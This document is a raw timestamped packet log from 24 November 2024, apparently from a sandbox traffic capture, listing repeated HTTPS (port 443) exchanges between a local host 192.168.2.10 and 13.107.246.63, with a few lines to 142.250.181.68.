Nov 24, 2024 08:45:25.213819027 CET	50048	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.213825941 CET	443	50048	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.218010902 CET	50053	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.218065023 CET	443	50053	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.218147039 CET	50053	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.218296051 CET	50053	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.218308926 CET	443	50053	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.251506090 CET	443	50049	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.254313946 CET	443	50049	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.254395962 CET	50049	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.254463911 CET	50049	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.254492998 CET	443	50049	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.254506111 CET	50049	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.254512072 CET	443	50049	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.257482052 CET	50054	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.257535934 CET	443	50054	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.257626057 CET	50054	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.257765055 CET	50054	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.257778883 CET	443	50054	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.400192022 CET	443	50051	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.400872946 CET	50051	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.400901079 CET	443	50051	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.401349068 CET	50051	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.401355028 CET	443	50051	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.554246902 CET	443	50052	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.554889917 CET	50052	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.554929972 CET	443	50052	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.555397987 CET	50052	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.555404902 CET	443	50052	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.660337925 CET	443	50050	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.663261890 CET	443	50050	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.663342953 CET	50050	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.663389921 CET	50050	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.663412094 CET	443	50050	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.663424015 CET	50050	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.663430929 CET	443	50050	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.666529894 CET	50055	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.666570902 CET	443	50055	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.666663885 CET	50055	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.666834116 CET	50055	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.666846991 CET	443	50055	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.843677044 CET	443	50051	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.843756914 CET	443	50051	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.843832016 CET	50051	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.843858004 CET	443	50051	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.843888998 CET	443	50051	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.843939066 CET	50051	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.844149113 CET	50051	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.844161987 CET	443	50051	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.844172955 CET	50051	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.844177961 CET	443	50051	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.847430944 CET	50056	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.847489119 CET	443	50056	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.847588062 CET	50056	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.847771883 CET	50056	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:25.847788095 CET	443	50056	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:25.998034000 CET	443	50052	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:26.001040936 CET	443	50052	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:26.001111031 CET	50052	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:26.001354933 CET	50052	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:26.001354933 CET	50052	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:26.001380920 CET	443	50052	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:26.001394033 CET	443	50052	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:26.004358053 CET	50057	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:26.004411936 CET	443	50057	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:26.004503965 CET	50057	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:26.004710913 CET	50057	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:26.004728079 CET	443	50057	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:27.036453962 CET	443	50053	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:27.038635015 CET	50053	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:27.038667917 CET	443	50053	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:27.039338112 CET	50053	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:27.039345026 CET	443	50053	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:27.039973021 CET	443	50054	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:27.040333033 CET	50054	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:27.040369987 CET	443	50054	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:27.040709972 CET	50054	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:27.040716887 CET	443	50054	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:27.481085062 CET	443	50053	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:27.484304905 CET	443	50053	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:27.484385967 CET	50053	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:27.484392881 CET	443	50053	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:27.484457016 CET	50053	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:27.484504938 CET	50053	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:27.484529972 CET	443	50053	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:27.484545946 CET	50053	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:27.484550953 CET	443	50053	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:27.487767935 CET	50058	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:27.487828016 CET	443	50058	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:27.487920046 CET	50058	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:27.488224983 CET	50058	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:27.488241911 CET	443	50058	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:27.491513968 CET	443	50054	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:27.494620085 CET	443	50054	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:27.494688988 CET	50054	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:27.494729042 CET	50054	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:27.494750977 CET	443	50054	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:27.494781971 CET	50054	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:27.494788885 CET	443	50054	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:27.497343063 CET	50059	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:27.497390032 CET	443	50059	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:27.497735023 CET	50059	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:27.497896910 CET	50059	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:27.497915983 CET	443	50059	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:27.562123060 CET	443	50055	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:27.562829971 CET	50055	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:27.562859058 CET	443	50055	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:27.563333988 CET	50055	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:27.563338995 CET	443	50055	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:27.570019007 CET	443	50056	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:27.570420027 CET	50056	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:27.570456028 CET	443	50056	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:27.570966005 CET	50056	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:27.570972919 CET	443	50056	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:27.723890066 CET	443	50057	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:27.724514961 CET	50057	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:27.724545002 CET	443	50057	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:27.725020885 CET	50057	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:27.725028992 CET	443	50057	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:28.003245115 CET	443	50056	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:28.005275965 CET	443	50055	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:28.006385088 CET	443	50056	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:28.006460905 CET	50056	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:28.006494045 CET	50056	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:28.006511927 CET	443	50056	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:28.006522894 CET	50056	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:28.006529093 CET	443	50056	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:28.008637905 CET	443	50055	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:28.008691072 CET	443	50055	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:28.008692026 CET	50055	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:28.008737087 CET	50055	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:28.008794069 CET	50055	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:28.008810043 CET	443	50055	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:28.008821964 CET	50055	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:28.008826971 CET	443	50055	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:28.010231018 CET	50060	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:28.010320902 CET	443	50060	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:28.010397911 CET	50060	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:28.010631084 CET	50060	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:28.010659933 CET	443	50060	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:28.011378050 CET	50061	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:28.011480093 CET	443	50061	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:28.011550903 CET	50061	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:28.011691093 CET	50061	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:28.011725903 CET	443	50061	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:28.159096003 CET	443	50057	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:28.159279108 CET	443	50057	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:28.159343004 CET	50057	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:28.159476042 CET	50057	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:28.159502983 CET	443	50057	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:28.159517050 CET	50057	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:28.159523964 CET	443	50057	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:28.162609100 CET	50062	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:28.162681103 CET	443	50062	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:28.162767887 CET	50062	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:28.162936926 CET	50062	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:28.162961960 CET	443	50062	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:29.280839920 CET	443	50058	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:29.281722069 CET	50058	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:29.281744003 CET	443	50058	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:29.282167912 CET	50058	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:29.282176971 CET	443	50058	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:29.286075115 CET	443	50059	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:29.286356926 CET	50059	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:29.286398888 CET	443	50059	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:29.286726952 CET	50059	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:29.286732912 CET	443	50059	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:29.725486040 CET	443	50058	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:29.728238106 CET	443	50058	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:29.728290081 CET	50058	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:29.728364944 CET	50058	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:29.728388071 CET	443	50058	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:29.728401899 CET	50058	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:29.728406906 CET	443	50058	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:29.730411053 CET	443	50060	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:29.730797052 CET	50060	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:29.730823040 CET	443	50060	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:29.731262922 CET	50060	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:29.731271029 CET	443	50060	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:29.732666969 CET	443	50059	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:29.735344887 CET	50063	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:29.735441923 CET	443	50063	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:29.735558033 CET	50063	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:29.735712051 CET	50063	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:29.735747099 CET	443	50063	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:29.736277103 CET	443	50059	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:29.736325979 CET	443	50059	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:29.736347914 CET	50059	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:29.736372948 CET	50059	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:29.736411095 CET	50059	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:29.736435890 CET	443	50059	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:29.736460924 CET	50059	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:29.736469030 CET	443	50059	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:29.738621950 CET	50064	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:29.738648891 CET	443	50064	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:29.738708019 CET	50064	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:29.738828897 CET	50064	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:29.738846064 CET	443	50064	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:29.809417963 CET	443	50061	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:29.810374975 CET	50061	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:29.810436010 CET	443	50061	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:29.810812950 CET	50061	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:29.810827017 CET	443	50061	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:30.019918919 CET	443	50062	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:30.020612955 CET	50062	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:30.020642042 CET	443	50062	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:30.021147966 CET	50062	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:30.021157980 CET	443	50062	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:30.164817095 CET	443	50060	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:30.167895079 CET	443	50060	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:30.168087959 CET	50060	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:30.168087959 CET	50060	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:30.168087959 CET	50060	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:30.171294928 CET	50065	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:30.171334982 CET	443	50065	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:30.171407938 CET	50065	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:30.171565056 CET	50065	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:30.171571016 CET	443	50065	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:30.252486944 CET	443	50061	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:30.252569914 CET	443	50061	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:30.252720118 CET	50061	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:30.252881050 CET	50061	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:30.252902985 CET	443	50061	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:30.252914906 CET	50061	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:30.252922058 CET	443	50061	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:30.256774902 CET	50066	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:30.256810904 CET	443	50066	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:30.256872892 CET	50066	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:30.257019043 CET	50066	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:30.257030010 CET	443	50066	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:30.387837887 CET	50060	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:30.387882948 CET	443	50060	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:30.480061054 CET	443	50062	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:30.480087996 CET	443	50062	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:30.480216026 CET	50062	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:30.480246067 CET	443	50062	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:30.480560064 CET	50062	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:30.480571985 CET	443	50062	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:30.480582952 CET	50062	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:30.480587959 CET	443	50062	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:30.480669975 CET	443	50062	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:30.484200954 CET	50067	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:30.484261036 CET	443	50067	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:30.484338999 CET	50067	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:30.484493017 CET	50067	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:30.484509945 CET	443	50067	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:31.585690022 CET	443	50063	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:31.586561918 CET	50063	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:31.586596966 CET	443	50063	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:31.587053061 CET	50063	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:31.587059975 CET	443	50063	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:31.587280035 CET	443	50064	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:31.587555885 CET	50064	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:31.587570906 CET	443	50064	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:31.587865114 CET	50064	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:31.587869883 CET	443	50064	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:31.952245951 CET	443	50065	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:31.952887058 CET	50065	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:31.952903032 CET	443	50065	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:31.953562975 CET	50065	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:31.953569889 CET	443	50065	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.037107944 CET	443	50066	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.037688017 CET	50066	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.037707090 CET	443	50066	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.038181067 CET	50066	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.038187027 CET	443	50066	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.039932013 CET	443	50063	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.039992094 CET	443	50063	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.040039062 CET	50063	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.040283918 CET	50063	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.040299892 CET	443	50063	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.040313005 CET	50063	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.040318012 CET	443	50063	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.043322086 CET	50068	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.043359995 CET	443	50068	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.043426991 CET	50068	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.043554068 CET	50068	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.043566942 CET	443	50068	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.047208071 CET	443	50064	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.047228098 CET	443	50064	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.047261953 CET	50064	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.047272921 CET	443	50064	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.047418118 CET	50064	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.047426939 CET	443	50064	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.047445059 CET	50064	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.047600985 CET	443	50064	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.047635078 CET	443	50064	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.047666073 CET	50064	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.050000906 CET	50069	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.050095081 CET	443	50069	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.050182104 CET	50069	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.050326109 CET	50069	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.050378084 CET	443	50069	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.233915091 CET	443	50043	142.250.181.68	192.168.2.10
Nov 24, 2024 08:45:32.233993053 CET	443	50043	142.250.181.68	192.168.2.10
Nov 24, 2024 08:45:32.234086990 CET	50043	443	192.168.2.10	142.250.181.68
Nov 24, 2024 08:45:32.339679956 CET	443	50067	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.340569973 CET	50067	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.340605974 CET	443	50067	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.341274977 CET	50067	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.341280937 CET	443	50067	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.399532080 CET	443	50065	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.399563074 CET	443	50065	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.399627924 CET	443	50065	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.399724960 CET	50065	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.400008917 CET	50065	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.400008917 CET	50065	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.402913094 CET	50065	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.402926922 CET	443	50065	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.403636932 CET	50070	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.403687000 CET	443	50070	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.403755903 CET	50070	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.403896093 CET	50070	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.403915882 CET	443	50070	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.482002020 CET	443	50066	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.482028008 CET	443	50066	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.482145071 CET	50066	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.482162952 CET	443	50066	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.482410908 CET	50066	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.482422113 CET	443	50066	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.482429981 CET	50066	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.482647896 CET	443	50066	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.482686043 CET	443	50066	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.482728958 CET	50066	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.486114979 CET	50071	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.486197948 CET	443	50071	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.486289978 CET	50071	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.486438990 CET	50071	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.486462116 CET	443	50071	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.794584036 CET	443	50067	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.794611931 CET	443	50067	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.794712067 CET	50067	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.794742107 CET	443	50067	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.795053959 CET	50067	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.795068979 CET	443	50067	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.795077085 CET	50067	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.795295000 CET	443	50067	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.795347929 CET	443	50067	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:32.795389891 CET	50067	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:32.798526049 CET	50072	443	192.168.2.10	13.107.246.63
